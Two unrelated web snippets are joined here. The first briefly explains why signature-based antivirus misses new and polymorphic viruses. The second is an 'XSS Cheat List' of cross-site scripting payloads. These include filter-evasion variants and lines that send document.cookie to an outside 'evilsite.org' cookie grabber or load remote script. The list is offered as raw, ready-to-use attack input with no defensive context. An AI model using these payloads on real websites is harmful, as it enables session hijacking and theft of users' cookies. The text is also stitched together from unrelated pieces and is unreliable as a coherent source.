Every virus cannot be detected by a signature-based antivirus largely for the following reasons:

* If an attacker has changed the signature of a virus, any signature-based antivirus will not be able to find the virus.
* Any new virus will not be captured by the antivirus, as it will not be on the list in the antivirus database.
* If the virus is not in the database of a signature-based antivirus, it will be virtually impossible for the antivirus to detect that virus.
* If the mutation engine of a polymorphic virus is generating a new encrypted code, this changes the signature of the virus. Therefore, polymorphic viruses cannot be detected by a signature-based antivirus.

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XSS Cheat List

<script>alert(1);</script> <script>alert('XSS');</script> <script src="http://www.evilsite.org/cookiegrabber.php"></script> <script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+escape(document.cookie)</script> <scr<script>ipt>alert('XSS');</scr</script>ipt> <script>alert(String.fromCharCode(88,83,83))</script> <img src=foo.png onerror=alert(/xssed/) /> <style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style> <? echo('<scr)'; echo('ipt>alert(\"XSS\")</script>'); ?> <marquee><script>alert('XSS')</script></marquee> <IMG SRC=\"jav ascript:alert('XSS');\"> <IMG SRC=\"jav ascript:alert('XSS');\"> <IMG SRC=\"jav ascript:alert('XSS');\"> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> "><script>alert(0)</script> <script src=http://yoursite.com/your_files.js></script> </title><script>alert(/xss/)</script> </textarea><script>alert(/xss/)</script>

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